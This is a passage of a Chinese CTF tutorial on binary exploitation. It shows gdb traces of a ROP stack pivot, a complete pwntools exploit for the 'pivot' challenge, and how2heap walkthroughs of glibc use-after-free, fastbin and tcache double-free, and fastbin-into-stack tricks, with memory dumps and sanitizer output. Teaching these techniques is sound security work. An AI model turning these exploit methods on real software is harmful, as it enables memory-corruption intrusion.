+0016| 0xf755cf28 --> 0x80488c7 (<usefulGadgets+7>: add eax,ebx)
+0020| 0xf755cf2c --> 0x80486a3 (<deregister_tm_clones+35>: call eax)
+0024| 0xf755cf30 --> 0xa ('\n')
+0028| 0xf755cf34 --> 0x0
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+0x080488c0 in usefulGadgets ()
+gdb-peda$ n
+[----------------------------------registers-----------------------------------]
+EAX: 0x804a024 --> 0xf7772770 (<foothold_function>: push ebp)
+EBX: 0x0
+ECX: 0x54 ('T')
+EDX: 0xf7731854 --> 0x0
+ESI: 0xf772fe28 --> 0x1d1d30
+EDI: 0x0
+EBP: 0x0
+ESP: 0xf755cf1c --> 0x80488c4 (<usefulGadgets+4>: mov eax,DWORD PTR [eax])
+EIP: 0x80488c1 (<usefulGadgets+1>: ret)
+EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+ 0x80488bc: xchg ax,ax
+ 0x80488be: xchg ax,ax
+ 0x80488c0 <usefulGadgets>: pop eax
+=> 0x80488c1 <usefulGadgets+1>: ret
+ 0x80488c2 <usefulGadgets+2>: xchg esp,eax
+ 0x80488c3 <usefulGadgets+3>: ret
+ 0x80488c4 <usefulGadgets+4>: mov eax,DWORD PTR [eax]
+ 0x80488c6 <usefulGadgets+6>: ret
+[------------------------------------stack-------------------------------------]
+0000| 0xf755cf1c --> 0x80488c4 (<usefulGadgets+4>: mov eax,DWORD PTR [eax])
+0004| 0xf755cf20 --> 0x8048571 (<_init+33>: pop ebx)
+0008| 0xf755cf24 --> 0x1f7
+0012| 0xf755cf28 --> 0x80488c7 (<usefulGadgets+7>: add eax,ebx)
+0016| 0xf755cf2c --> 0x80486a3 (<deregister_tm_clones+35>: call eax)
+0020| 0xf755cf30 --> 0xa ('\n')
+0024| 0xf755cf34 --> 0x0
+0028| 0xf755cf38 --> 0x0
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+0x080488c1 in usefulGadgets ()
+gdb-peda$ n
+[----------------------------------registers-----------------------------------]
+EAX: 0x804a024 --> 0xf7772770 (<foothold_function>: push ebp)
+EBX: 0x0
+ECX: 0x54 ('T')
+EDX: 0xf7731854 --> 0x0
+ESI: 0xf772fe28 --> 0x1d1d30
+EDI: 0x0
+EBP: 0x0
+ESP: 0xf755cf20 --> 0x8048571 (<_init+33>: pop ebx)
+EIP: 0x80488c4 (<usefulGadgets+4>: mov eax,DWORD PTR [eax])
+EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+ 0x80488c1 <usefulGadgets+1>: ret
+ 0x80488c2 <usefulGadgets+2>: xchg esp,eax
+ 0x80488c3 <usefulGadgets+3>: ret
+=> 0x80488c4 <usefulGadgets+4>: mov eax,DWORD PTR [eax]
+ 0x80488c6 <usefulGadgets+6>: ret
+ 0x80488c7 <usefulGadgets+7>: add eax,ebx
+ 0x80488c9 <usefulGadgets+9>: ret
+ 0x80488ca <usefulGadgets+10>: xchg ax,ax
+[------------------------------------stack-------------------------------------]
+0000| 0xf755cf20 --> 0x8048571 (<_init+33>: pop ebx)
+0004| 0xf755cf24 --> 0x1f7
+0008| 0xf755cf28 --> 0x80488c7 (<usefulGadgets+7>: add eax,ebx)
+0012| 0xf755cf2c --> 0x80486a3 (<deregister_tm_clones+35>: call eax)
+0016| 0xf755cf30 --> 0xa ('\n')
+0020| 0xf755cf34 --> 0x0
+0024| 0xf755cf38 --> 0x0
+0028| 0xf755cf3c --> 0x0
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+0x080488c4 in usefulGadgets ()
+gdb-peda$ n
+[----------------------------------registers-----------------------------------]
+EAX: 0xf7772770 (<foothold_function>: push ebp)
+EBX: 0x0
+ECX: 0x54 ('T')
+EDX: 0xf7731854 --> 0x0
+ESI: 0xf772fe28 --> 0x1d1d30
+EDI: 0x0
+EBP: 0x0
+ESP: 0xf755cf20 --> 0x8048571 (<_init+33>: pop ebx)
+EIP: 0x80488c6 (<usefulGadgets+6>: ret)
+EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+ 0x80488c2 <usefulGadgets+2>: xchg esp,eax
+ 0x80488c3 <usefulGadgets+3>: ret
+ 0x80488c4 <usefulGadgets+4>: mov eax,DWORD PTR [eax]
+=> 0x80488c6 <usefulGadgets+6>: ret
+ 0x80488c7 <usefulGadgets+7>: add eax,ebx
+ 0x80488c9 <usefulGadgets+9>: ret
+ 0x80488ca <usefulGadgets+10>: xchg ax,ax
+ 0x80488cc <usefulGadgets+12>: xchg ax,ax
+[------------------------------------stack-------------------------------------]
+0000| 0xf755cf20 --> 0x8048571 (<_init+33>: pop ebx)
+0004| 0xf755cf24 --> 0x1f7
+0008| 0xf755cf28 --> 0x80488c7 (<usefulGadgets+7>: add eax,ebx)
+0012| 0xf755cf2c --> 0x80486a3 (<deregister_tm_clones+35>: call eax)
+0016| 0xf755cf30 --> 0xa ('\n')
+0020| 0xf755cf34 --> 0x0
+0024| 0xf755cf38 --> 0x0
+0028| 0xf755cf3c --> 0x0
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+0x080488c6 in usefulGadgets ()
+
+基本同上,但你可以尝试把修改 rsp 的部分也用 gadgets 来实现,这样做的好处是我们不需要伪造一个堆栈,即不用管 ebp 的地址。如:
+payload_2 = "A" * 40
+payload_2 += p64(pop_rax)
+payload_2 += p64(leakaddr)
+payload_2 += p64(xchg_rax_rsp)
+
+实际上,我本人正是使用这种方法,因为我在构建 payload 时,0x0000000000400ae0 <+165>: leave
,leave;ret 的地址存在截断字符 0a
,这样就不能通过正常的方式写入缓冲区,当然这也是可以解决的,比如先将 0a
换成非截断字符,之后再使用寄存器将 0a
写入该地址,这也是通常解决缓冲区中截断字符的方法,但是这样做难度太大,不推荐,感兴趣的读者可以尝试一下。
$ ropgadget --binary pivot --only "mov|pop|call|add|xchg|ret"
+0x0000000000400b09 : add rax, rbp ; ret
+0x000000000040098e : call rax
+0x0000000000400b05 : mov rax, qword ptr [rax] ; ret
+0x0000000000400b00 : pop rax ; ret
+0x0000000000400900 : pop rbp ; ret
+0x0000000000400b02 : xchg rax, rsp ; ret
+from pwn import *
+
+#context.log_level = 'debug'
+#context.terminal = ['konsole']
+io = process('./pivot')
+elf = ELF('./pivot')
+libp = ELF('./libpivot.so')
+
+leave_ret = 0x0000000000400adf
+
+foothold_plt = elf.plt['foothold_function'] # 0x400850
+foothold_got_plt = elf.got['foothold_function'] # 0x602048
+
+pop_rax = 0x0000000000400b00
+pop_rbp = 0x0000000000400900
+mov_rax_rax = 0x0000000000400b05
+xchg_rax_rsp = 0x0000000000400b02
+add_rax_rbp = 0x0000000000400b09
+call_rax = 0x000000000040098e
+
+foothold_sym = libp.symbols['foothold_function']
+ret2win_sym = libp.symbols['ret2win']
+offset = int(ret2win_sym - foothold_sym) # 0x14e
+
+leakaddr = int(io.recv().split()[20], 16)
+
+# calls foothold_function() to populate its GOT entry, then queries that value into EAX
+#gdb.attach(io)
+payload_1 = p64(foothold_plt)
+payload_1 += p64(pop_rax)
+payload_1 += p64(foothold_got_plt)
+payload_1 += p64(mov_rax_rax)
+payload_1 += p64(pop_rbp)
+payload_1 += p64(offset)
+payload_1 += p64(add_rax_rbp)
+payload_1 += p64(call_rax)
+
+io.sendline(payload_1)
+
+# rsp = leakaddr
+payload_2 = "A" * 40
+payload_2 += p64(pop_rax)
+payload_2 += p64(leakaddr)
+payload_2 += p64(xchg_rax_rsp)
+
+io.sendline(payload_2)
+print io.recvall()
+
+这样基本的 ROP 也就介绍完了,更高级的用法会在后面的章节中再介绍,所谓的高级,也就是 gadgets 构造更加巧妙,运用操作系统的知识更加底层而已。
+堆是程序虚拟地址空间中的一块连续的区域,由低地址向高地址增长。当前 Linux 使用的堆分配器被称为 ptmalloc2,在 glibc 中实现。
+更详细的我们已经在章节 1.5.8 中介绍了,章节 1.5.7 中也有相关内容,请回顾一下。
+对堆利用来说,不用于栈上的溢出能够直接覆盖函数的返回地址从而控制 EIP,只能通过间接手段来劫持程序控制流。
+how2heap 是由 shellphish 团队制作的堆利用教程,介绍了多种堆利用技术,这篇文章我们就通过这个教程来学习。推荐使用 Ubuntu 16.04 64位系统环境,glibc 版本如下:
+$ file /lib/x86_64-linux-gnu/libc-2.23.so
+/lib/x86_64-linux-gnu/libc-2.23.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=088a6e00a1814622219f346b41e775b8dd46c518, for GNU/Linux 2.6.32, stripped
+$ git clone https://github.com/shellphish/how2heap.git
+$ cd how2heap
+$ make
+
+请注意,下文中贴出的代码是我简化过的,剔除和修改了一些不必要的注释和代码,以方便学习。另外,正如章节 4.3 中所讲的,添加编译参数 CFLAGS += -fsanitize=address
可以检测内存错误。下载文件
#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+int main() {
+ char* a = malloc(512);
+ char* b = malloc(256);
+ char* c;
+
+ fprintf(stderr, "1st malloc(512): %p\n", a);
+ fprintf(stderr, "2nd malloc(256): %p\n", b);
+ strcpy(a, "AAAAAAAA");
+ strcpy(b, "BBBBBBBB");
+ fprintf(stderr, "first allocation %p points to %s\n", a, a);
+
+ fprintf(stderr, "Freeing the first one...\n");
+ free(a);
+
+ c = malloc(500);
+ fprintf(stderr, "3rd malloc(500): %p\n", c);
+ strcpy(c, "CCCCCCCC");
+ fprintf(stderr, "3rd allocation %p points to %s\n", c, c);
+ fprintf(stderr, "first allocation %p points to %s\n", a, a);
+}
+$ gcc -g first_fit.c
+$ ./a.out
+1st malloc(512): 0x1380010
+2nd malloc(256): 0x1380220
+first allocation 0x1380010 points to AAAAAAAA
+Freeing the first one...
+3rd malloc(500): 0x1380010
+3rd allocation 0x1380010 points to CCCCCCCC
+first allocation 0x1380010 points to CCCCCCCC
+
+这第一个程序展示了 glibc 堆分配的策略,即 first-fit。在分配内存时,malloc 会先到 unsorted bin(或者fastbins) 中查找适合的被 free 的 chunk,如果没有,就会把 unsorted bin 中的所有 chunk 分别放入到所属的 bins 中,然后再去这些 bins 里去找合适的 chunk。可以看到第三次 malloc 的地址和第一次相同,即 malloc 找到了第一次 free 掉的 chunk,并把它重新分配。
+在 gdb 中调试,两个 malloc 之后(chunk 位于 malloc 返回地址减去 0x10 的位置):
+gef➤ x/5gx 0x602010-0x10
+0x602000: 0x0000000000000000 0x0000000000000211 <-- chunk a
+0x602010: 0x4141414141414141 0x0000000000000000
+0x602020: 0x0000000000000000
+gef➤ x/5gx 0x602220-0x10
+0x602210: 0x0000000000000000 0x0000000000000111 <-- chunk b
+0x602220: 0x4242424242424242 0x0000000000000000
+0x602230: 0x0000000000000000
+
+第一个 free 之后,将其加入到 unsorted bin 中:
+gef➤ x/5gx 0x602010-0x10
+0x602000: 0x0000000000000000 0x0000000000000211 <-- chunk a [be freed]
+0x602010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd pointer, bk pointer
+0x602020: 0x0000000000000000
+gef➤ x/5gx 0x602220-0x10
+0x602210: 0x0000000000000210 0x0000000000000110 <-- chunk b
+0x602220: 0x4242424242424242 0x0000000000000000
+0x602230: 0x0000000000000000
+gef➤ heap bins unsorted
+[ Unsorted Bin for arena 'main_arena' ]
+[+] unsorted_bins[0]: fw=0x602000, bk=0x602000
+ → Chunk(addr=0x602010, size=0x210, flags=PREV_INUSE)
+[+] Found 1 chunks in unsorted bin.
+
+第三个 malloc 之后:
+gef➤ x/5gx 0x602010-0x10
+0x602000: 0x0000000000000000 0x0000000000000211 <-- chunk c
+0x602010: 0x4343434343434343 0x00007ffff7dd1d00
+0x602020: 0x0000000000000000
+gef➤ x/5gx 0x602220-0x10
+0x602210: 0x0000000000000210 0x0000000000000111 <-- chunk b
+0x602220: 0x4242424242424242 0x0000000000000000
+0x602230: 0x0000000000000000
+
+所以当释放一块内存后再申请一块大小略小于的空间,那么 glibc 倾向于将先前被释放的空间重新分配。
+好了,现在我们加上内存检测参数重新编译:
+$ gcc -fsanitize=address -g first_fit.c
+$ ./a.out
+1st malloc(512): 0x61500000fd00
+2nd malloc(256): 0x611000009f00
+first allocation 0x61500000fd00 points to AAAAAAAA
+Freeing the first one...
+3rd malloc(500): 0x61500000fa80
+3rd allocation 0x61500000fa80 points to CCCCCCCC
+=================================================================
+==4525==ERROR: AddressSanitizer: heap-use-after-free on address 0x61500000fd00 at pc 0x7f49d14a61e9 bp 0x7ffe40b526e0 sp 0x7ffe40b51e58
+READ of size 2 at 0x61500000fd00 thread T0
+ #0 0x7f49d14a61e8 (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x601e8)
+ #1 0x7f49d14a6bcc in vfprintf (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x60bcc)
+ #2 0x7f49d14a6cf9 in fprintf (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x60cf9)
+ #3 0x400b8b in main /home/firmy/how2heap/first_fit.c:23
+ #4 0x7f49d109c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
+ #5 0x400878 in _start (/home/firmy/how2heap/a.out+0x400878)
+
+0x61500000fd00 is located 0 bytes inside of 512-byte region [0x61500000fd00,0x61500000ff00)
+freed by thread T0 here:
+ #0 0x7f49d14de2ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca)
+ #1 0x400aa2 in main /home/firmy/how2heap/first_fit.c:17
+ #2 0x7f49d109c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
+
+previously allocated by thread T0 here:
+ #0 0x7f49d14de602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
+ #1 0x400957 in main /home/firmy/how2heap/first_fit.c:6
+ #2 0x7f49d109c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
+
+一个很明显的 use-after-free 漏洞。关于这类漏洞的详细利用过程,我们会在后面的章节里再讲。
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+int main() {
+ fprintf(stderr, "Allocating 3 buffers.\n");
+ char *a = malloc(9);
+ char *b = malloc(9);
+ char *c = malloc(9);
+ strcpy(a, "AAAAAAAA");
+ strcpy(b, "BBBBBBBB");
+ strcpy(c, "CCCCCCCC");
+ fprintf(stderr, "1st malloc(9) %p points to %s\n", a, a);
+ fprintf(stderr, "2nd malloc(9) %p points to %s\n", b, b);
+ fprintf(stderr, "3rd malloc(9) %p points to %s\n", c, c);
+
+ fprintf(stderr, "Freeing the first one %p.\n", a);
+ free(a);
+ fprintf(stderr, "Then freeing another one %p.\n", b);
+ free(b);
+ fprintf(stderr, "Freeing the first one %p again.\n", a);
+ free(a);
+
+ fprintf(stderr, "Allocating 3 buffers.\n");
+ char *d = malloc(9);
+ char *e = malloc(9);
+ char *f = malloc(9);
+ strcpy(d, "DDDDDDDD");
+ fprintf(stderr, "4st malloc(9) %p points to %s the first time\n", d, d);
+ strcpy(e, "EEEEEEEE");
+ fprintf(stderr, "5nd malloc(9) %p points to %s\n", e, e);
+ strcpy(f, "FFFFFFFF");
+ fprintf(stderr, "6rd malloc(9) %p points to %s the second time\n", f, f);
+}
+$ gcc -g fastbin_dup.c
+$ ./a.out
+Allocating 3 buffers.
+1st malloc(9) 0x1c07010 points to AAAAAAAA
+2nd malloc(9) 0x1c07030 points to BBBBBBBB
+3rd malloc(9) 0x1c07050 points to CCCCCCCC
+Freeing the first one 0x1c07010.
+Then freeing another one 0x1c07030.
+Freeing the first one 0x1c07010 again.
+Allocating 3 buffers.
+4st malloc(9) 0x1c07010 points to DDDDDDDD the first time
+5nd malloc(9) 0x1c07030 points to EEEEEEEE
+6rd malloc(9) 0x1c07010 points to FFFFFFFF the second time
+
+这个程序展示了利用 fastbins 的 double-free 攻击,可以泄漏出一块已经被分配的内存指针。fastbins 可以看成一个 LIFO 的栈,使用单链表实现,通过 fastbin->fd 来遍历 fastbins。由于 free 的过程会对 free list 做检查,我们不能连续两次 free 同一个 chunk,所以这里在两次 free 之间,增加了一次对其他 chunk 的 free 过程,从而绕过检查顺利执行。然后再 malloc 三次,就在同一个地址 malloc 了两次,也就有了两个指向同一块内存区域的指针。
+libc-2.23 中对 double-free 的检查过程如下:
+ /* Check that the top of the bin is not the record we are going to add
+ (i.e., double free). */
+ if (__builtin_expect (old == p, 0))
+ {
+ errstr = "double free or corruption (fasttop)";
+ goto errout;
+ }
+
+它在检查 fast bin 的 double-free 时只是检查了第一个块。所以其实是存在缺陷的。
+三个 malloc 之后:
+gef➤ x/15gx 0x602010-0x10
+0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk a
+0x602010: 0x4141414141414141 0x0000000000000000
+0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b
+0x602030: 0x4242424242424242 0x0000000000000000
+0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c
+0x602050: 0x4343434343434343 0x0000000000000000
+0x602060: 0x0000000000000000 0x0000000000020fa1 <-- top chunk
+0x602070: 0x0000000000000000
+
+第一个 free 之后,chunk a 被添加到 fastbins 中:
+gef➤ x/15gx 0x602010-0x10
+0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk a [be freed]
+0x602010: 0x0000000000000000 0x0000000000000000 <-- fd pointer
+0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b
+0x602030: 0x4242424242424242 0x0000000000000000
+0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c
+0x602050: 0x4343434343434343 0x0000000000000000
+0x602060: 0x0000000000000000 0x0000000000020fa1
+0x602070: 0x0000000000000000
+gef➤ heap bins fast
+[ Fastbins for arena 0x7ffff7dd1b20 ]
+Fastbins[idx=0, size=0x10] ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
+
+第二个 free 之后,chunk b 被添加到 fastbins 中:
+gef➤ x/15gx 0x602010-0x10
+0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk a [be freed]
+0x602010: 0x0000000000000000 0x0000000000000000 <-- fd pointer
+0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b [be freed]
+0x602030: 0x0000000000602000 0x0000000000000000 <-- fd pointer
+0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c
+0x602050: 0x4343434343434343 0x0000000000000000
+0x602060: 0x0000000000000000 0x0000000000020fa1
+0x602070: 0x0000000000000000
+gef➤ heap bins fast
+[ Fastbins for arena 0x7ffff7dd1b20 ]
+Fastbins[idx=0, size=0x10] ← Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
+
+此时由于 chunk a 处于 bin 中第 2 块的位置,不会被 double-free 的检查机制检查出来。所以第三个 free 之后,chunk a 再次被添加到 fastbins 中:
+gef➤ x/15gx 0x602010-0x10
+0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk a [be freed again]
+0x602010: 0x0000000000602020 0x0000000000000000 <-- fd pointer
+0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b [be freed]
+0x602030: 0x0000000000602000 0x0000000000000000 <-- fd pointer
+0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c
+0x602050: 0x4343434343434343 0x0000000000000000
+0x602060: 0x0000000000000000 0x0000000000020fa1
+0x602070: 0x0000000000000000
+gef➤ heap bins fast
+[ Fastbins for arena 0x7ffff7dd1b20 ]
+Fastbins[idx=0, size=0x10] ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) → [loop detected]
+
+此时 chunk a 和 chunk b 似乎形成了一个环。
+再三个 malloc 之后:
+gef➤ x/15gx 0x602010-0x10
+0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk d, chunk f
+0x602010: 0x4646464646464646 0x0000000000000000
+0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk e
+0x602030: 0x4545454545454545 0x0000000000000000
+0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c
+0x602050: 0x4343434343434343 0x0000000000000000
+0x602060: 0x0000000000000000 0x0000000000020fa1
+0x602070: 0x0000000000000000
+
+所以对于 fastbins,可以通过 double-free 泄漏出一个堆块的指针。
+加上内存检测参数重新编译:
+$ gcc -fsanitize=address -g fastbin_dup.c
+$ ./a.out
+Allocating 3 buffers.
+1st malloc(9) 0x60200000eff0 points to AAAAAAAA
+2nd malloc(9) 0x60200000efd0 points to BBBBBBBB
+3rd malloc(9) 0x60200000efb0 points to CCCCCCCC
+Freeing the first one 0x60200000eff0.
+Then freeing another one 0x60200000efd0.
+Freeing the first one 0x60200000eff0 again.
+=================================================================
+==5650==ERROR: AddressSanitizer: attempting double-free on 0x60200000eff0 in thread T0:
+ #0 0x7fdc18ebf2ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca)
+ #1 0x400ba3 in main /home/firmy/how2heap/fastbin_dup.c:22
+ #2 0x7fdc18a7d82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
+ #3 0x400878 in _start (/home/firmy/how2heap/a.out+0x400878)
+
+0x60200000eff0 is located 0 bytes inside of 9-byte region [0x60200000eff0,0x60200000eff9)
+freed by thread T0 here:
+ #0 0x7fdc18ebf2ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca)
+ #1 0x400b0d in main /home/firmy/how2heap/fastbin_dup.c:18
+ #2 0x7fdc18a7d82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
+
+previously allocated by thread T0 here:
+ #0 0x7fdc18ebf602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
+ #1 0x400997 in main /home/firmy/how2heap/fastbin_dup.c:7
+ #2 0x7fdc18a7d82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
+
+一个很明显的 double-free 漏洞。关于这类漏洞的详细利用过程,我们会在后面的章节里再讲。
+看一点新鲜的,在 libc-2.26 中,即使两次 free,也并没有触发 double-free 的异常检测,这与 tcache 机制有关,以后会详细讲述。这里先看个能够在该版本下触发 double-free 的例子:
+#include <stdio.h>
+#include <stdlib.h>
+
+int main() {
+ int i;
+
+ void *p = malloc(0x40);
+ fprintf(stderr, "First allocate a fastbin: p=%p\n", p);
+
+ fprintf(stderr, "Then free(p) 7 times\n");
+ for (i = 0; i < 7; i++) {
+ fprintf(stderr, "free %d: %p => %p\n", i+1, &p, p);
+ free(p);
+ }
+
+ fprintf(stderr, "Then malloc 8 times at the same address\n");
+ int *a[10];
+ for (i = 0; i < 8; i++) {
+ a[i] = malloc(0x40);
+ fprintf(stderr, "malloc %d: %p => %p\n", i+1, &a[i], a[i]);
+ }
+
+ fprintf(stderr, "Finally trigger double-free\n");
+ for (i = 0; i < 2; i++) {
+ fprintf(stderr, "free %d: %p => %p\n", i+1, &a[i], a[i]);
+ free(a[i]);
+ }
+}
+$ gcc -g tcache_double-free.c
+$ ./a.out
+First allocate a fastbin: p=0x559e30950260
+Then free(p) 7 times
+free 1: 0x7ffc498b2958 => 0x559e30950260
+free 2: 0x7ffc498b2958 => 0x559e30950260
+free 3: 0x7ffc498b2958 => 0x559e30950260
+free 4: 0x7ffc498b2958 => 0x559e30950260
+free 5: 0x7ffc498b2958 => 0x559e30950260
+free 6: 0x7ffc498b2958 => 0x559e30950260
+free 7: 0x7ffc498b2958 => 0x559e30950260
+Then malloc 8 times at the same address
+malloc 1: 0x7ffc498b2960 => 0x559e30950260
+malloc 2: 0x7ffc498b2968 => 0x559e30950260
+malloc 3: 0x7ffc498b2970 => 0x559e30950260
+malloc 4: 0x7ffc498b2978 => 0x559e30950260
+malloc 5: 0x7ffc498b2980 => 0x559e30950260
+malloc 6: 0x7ffc498b2988 => 0x559e30950260
+malloc 7: 0x7ffc498b2990 => 0x559e30950260
+malloc 8: 0x7ffc498b2998 => 0x559e30950260
+Finally trigger double-free
+free 1: 0x7ffc498b2960 => 0x559e30950260
+free 2: 0x7ffc498b2968 => 0x559e30950260
+double free or corruption (fasttop)
+[2] 1244 abort (core dumped) ./a.out
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+int main() {
+ unsigned long long stack_var = 0x21;
+ fprintf(stderr, "Allocating 3 buffers.\n");
+ char *a = malloc(9);
+ char *b = malloc(9);
+ char *c = malloc(9);
+ strcpy(a, "AAAAAAAA");
+ strcpy(b, "BBBBBBBB");
+ strcpy(c, "CCCCCCCC");
+ fprintf(stderr, "1st malloc(9) %p points to %s\n", a, a);
+ fprintf(stderr, "2nd malloc(9) %p points to %s\n", b, b);
+ fprintf(stderr, "3rd malloc(9) %p points to %s\n", c, c);
+
+ fprintf(stderr, "Freeing the first one %p.\n", a);
+ free(a);
+ fprintf(stderr, "Then freeing another one %p.\n", b);
+ free(b);
+ fprintf(stderr, "Freeing the first one %p again.\n", a);
+ free(a);
+
+ fprintf(stderr, "Allocating 4 buffers.\n");
+ unsigned long long *d = malloc(9);
+ *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
+ fprintf(stderr, "4nd malloc(9) %p points to %p\n", d, &d);
+ char *e = malloc(9);
+ strcpy(e, "EEEEEEEE");
+ fprintf(stderr, "5nd malloc(9) %p points to %s\n", e, e);
+ char *f = malloc(9);
+ strcpy(f, "FFFFFFFF");
+ fprintf(stderr, "6rd malloc(9) %p points to %s\n", f, f);
+ char *g = malloc(9);
+ strcpy(g, "GGGGGGGG");
+ fprintf(stderr, "7th malloc(9) %p points to %s\n", g, g);
+}
+$ gcc -g fastbin_dup_into_stack.c
+$ ./a.out
+Allocating 3 buffers.
+1st malloc(9) 0xcf2010 points to AAAAAAAA
+2nd malloc(9) 0xcf2030 points to BBBBBBBB
+3rd malloc(9) 0xcf2050 points to CCCCCCCC
+Freeing the first one 0xcf2010.
+Then freeing another one 0xcf2030.
+Freeing the first one 0xcf2010 again.
+Allocating 4 buffers.
+4nd malloc(9) 0xcf2010 points to 0x7ffd1e0d48b0
+5nd malloc(9) 0xcf2030 points to EEEEEEEE
+6rd malloc(9) 0xcf2010 points to FFFFFFFF
+7th malloc(9) 0x7ffd1e0d48b0 points to GGGGGGGG
+
+这个程序展示了怎样通过修改 fd 指针,将其指向一个伪造的 free chunk,在伪造的地址处 malloc 出一个 chunk。该程序大部分内容都和上一个程序一样,漏洞也同样是 double-free,只有给 fd 填充的内容不一样。
+三个 malloc 之后:
+gef➤ x/15gx 0x602010-0x10
+0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk a
+0x602010: 0x4141414141414141 0x0000000000000000
+0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b
+0x602030: 0x4242424242424242 0x0000000000000000
+0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c
+0x602050: 0x4343434343434343 0x0000000000000000
+0x602060: 0x0000000000000000 0x0000000000020fa1 <-- top chunk
+0x602070: 0x0000000000000000
+
+三个 free 之后:
+gef➤ x/15gx 0x602010-0x10
+0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk a [be freed twice]
+0x602010: 0x0000000000602020 0x0000000000000000 <-- fd pointer
+0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b [be freed]
+0x602030: 0x0000000000602000 0x0000000000000000 <-- fd pointer
+0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c
+0x602050: 0x4343434343434343 0x0000000000000000
+0x602060: 0x0000000000000000 0x0000000000020fa1
+0x602070: 0x0000000000000000
+gef➤ heap bins fast
+[ Fastbins for arena 0x7ffff7dd1b20 ]
+Fastbins[idx=0, size=0x10] ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) → [loop detected]
+
+这一次 malloc 之后,我们不再填充无意义的 "DDDDDDDD",而是填充一个地址,即栈地址减去 0x8,从而在栈上伪造出一个 free 的 chunk(当然也可以是其他的地址)。这也是为什么 stack_var
被我们设置为 0x21
(或0x20
都可以),其实是为了在栈地址减去 0x8 的时候作为 fake chunk 的 size 字段。
glibc 在执行分配操作时,若块的大小符合 fast bin,则会在对应的 bin 中寻找合适的块,此时 glibc 将根据候选块的 size 字段计算出 fastbin 索引,然后与对应 bin 在 fastbin 中的索引进行比较,如果二者不匹配,则说明块的 size 字段遭到破坏。所以需要 fake chunk 的 size 字段被设置为正确的值。
+/* offset 2 to use otherwise unindexable first 2 bins */
+#define fastbin_index(sz) \
+ ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
+
+ if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
+ {
+ idx = fastbin_index (nb);
+ [...]
+
+ if (victim != 0)
+ {
+ if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
+ {
+ errstr = "malloc(): memory corruption (fast)";
+ [...]
+ }
+ [...]
+ }
+ }
+
+简单地说就是 fake chunk 的 size 与 double-free 的 chunk 的 size 相同即可。
+gef➤ x/15gx 0x602010-0x10
+0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk d
+0x602010: 0x00007fffffffdc30 0x0000000000000000 <-- fd pointer
+0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b [be freed]
+0x602030: 0x0000000000602000 0x0000000000000000 <-- fd pointer
+0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c
+0x602050: 0x4343434343434343 0x0000000000000000
